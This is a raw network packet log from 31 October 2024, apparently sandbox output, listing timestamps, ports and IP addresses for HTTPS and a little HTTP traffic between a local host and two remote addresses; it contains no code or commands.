Oct 31, 2024 09:07:20.865658045 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.866007090 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.866058111 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.866118908 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.866136074 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.866146088 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.866151094 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.869491100 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.869520903 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.869596958 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.869729996 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.869741917 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.878848076 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.879467964 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.879484892 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.879942894 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.879947901 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.889271021 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.889794111 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.889843941 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.889894962 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.889894962 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.889906883 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.889914989 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.892760992 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.892776012 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.892839909 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.893132925 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.893145084 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.915267944 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.915842056 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.915857077 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.916380882 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.916385889 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.021449089 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.021513939 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.021609068 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.021794081 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.021801949 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.021826982 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.021831989 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.024332047 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.024354935 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.024518013 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.024612904 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.024626017 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.039190054 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:21.039303064 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:21.047202110 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.047272921 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.047429085 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.047473907 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.047473907 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.047481060 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.047488928 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.054267883 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.054281950 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.054362059 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.056437969 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.056449890 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.551703930 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.554685116 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.554723024 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.554990053 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.554995060 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.585597992 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.586589098 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.586589098 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.586601973 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.586620092 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.639381886 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.639882088 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.639910936 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.640461922 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.640465975 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.679281950 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.679519892 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.679734945 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.679780006 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.679780006 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.679797888 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.679805994 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.682348013 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.682384014 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.682544947 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.682713032 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.682728052 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.714971066 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.715107918 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.715601921 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.715601921 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.715645075 CET	49805	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.715656996 CET	443	49805	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.718780994 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.718822002 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.719247103 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.735344887 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.735369921 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.753072023 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.754091978 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.754091978 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.754108906 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.754116058 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.770215988 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.770344019 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.770492077 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.770733118 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.770742893 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.770771980 CET	49806	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.770781994 CET	443	49806	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.773241997 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.773272991 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.773350954 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.773591042 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.773605108 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.882285118 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.882380009 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.885972023 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.886068106 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.886068106 CET	49808	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.886077881 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.886085987 CET	443	49808	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.888325930 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.888343096 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:21.888427973 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.888719082 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:21.888731003 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.024054050 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.024625063 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.024661064 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.026158094 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.026165009 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.155095100 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.155586004 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.155780077 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.157351017 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.157366991 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.157388926 CET	49809	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.157394886 CET	443	49809	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.161190033 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.161207914 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.161290884 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.161891937 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.161900997 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.419768095 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.455143929 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.455154896 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.457336903 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.457341909 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.460134029 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.492192030 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.492217064 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.492829084 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.492832899 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.517627001 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.531807899 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.531825066 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.532305956 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.532310963 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.582428932 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.582555056 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.582629919 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.608783007 CET	49810	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.608803988 CET	443	49810	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.618860960 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.618927002 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.619060993 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.635140896 CET	49811	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.635171890 CET	443	49811	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.644279957 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.651856899 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.651876926 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.653208017 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.653213024 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.657221079 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.657248974 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.657305002 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.657453060 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.657461882 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.661546946 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.661623001 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.661714077 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.663121939 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.663163900 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.663230896 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.663805008 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.663805008 CET	49812	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.663825989 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.663836956 CET	443	49812	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.664364100 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.664386988 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.667346954 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.667427063 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.667512894 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.668797970 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.668840885 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.782429934 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.782520056 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.783252001 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.783291101 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.783291101 CET	49813	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.783317089 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.783325911 CET	443	49813	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.806998968 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.807041883 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.807118893 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.809073925 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.809098959 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.889612913 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.890062094 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.890075922 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:22.891510963 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:22.891515970 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.019011021 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.019373894 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.019448042 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.019504070 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.019524097 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.019742012 CET	49814	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.019750118 CET	443	49814	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.022680998 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.022761106 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.022970915 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.023108959 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.023133993 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.380814075 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.381686926 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.381717920 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.382215977 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.382222891 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.393563986 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.398014069 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.398040056 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.398711920 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.398718119 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.411806107 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.412156105 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.412199974 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.412561893 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.412580013 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.511389971 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.511594057 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.511826992 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.512290955 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.512310982 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.512320042 CET	49815	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.512325048 CET	443	49815	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.515916109 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.515949011 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.516098976 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.516372919 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.516386986 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.524483919 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.524847984 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.524905920 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.524940014 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.524940014 CET	49816	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.524956942 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.524966002 CET	443	49816	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.526566029 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.530891895 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.530901909 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.531447887 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.531452894 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.532929897 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.532964945 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.533015013 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.533296108 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.533312082 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.543293953 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.543643951 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.543796062 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.545510054 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.545546055 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.545572996 CET	49817	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.545591116 CET	443	49817	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.548091888 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.548106909 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.548243999 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.548372984 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.548384905 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.664063931 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.664344072 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.664391994 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.664427996 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.664448977 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.664459944 CET	49818	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.664467096 CET	443	49818	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.667449951 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.667484045 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.667727947 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.667934895 CET	49823	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.667947054 CET	443	49823	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.795059919 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.795581102 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.795619011 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.796152115 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.796164989 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.932753086 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.933048964 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.933110952 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.933156967 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.933156967 CET	49819	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.933178902 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.933199883 CET	443	49819	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.936199903 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.936244965 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:23.936332941 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.936546087 CET	49824	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:23.936562061 CET	443	49824	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.235960007 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.236639023 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.236664057 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.236988068 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.236994028 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.274458885 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.274832010 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.274854898 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.275336027 CET	49822	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.275341034 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.275980949 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.276582003 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.276599884 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.278237104 CET	49821	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.278240919 CET	443	49821	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.364418030 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.364475965 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.364613056 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.365493059 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.365556955 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.365573883 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.365636110 CET	49820	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.365642071 CET	443	49820	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.368194103 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.368247986 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.368546009 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.368546009 CET	49825	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:24.368582964 CET	443	49825	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.403470993 CET	443	49822	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:24.403629065 CET	443	49822	13.107.246.45	192.168.2.6
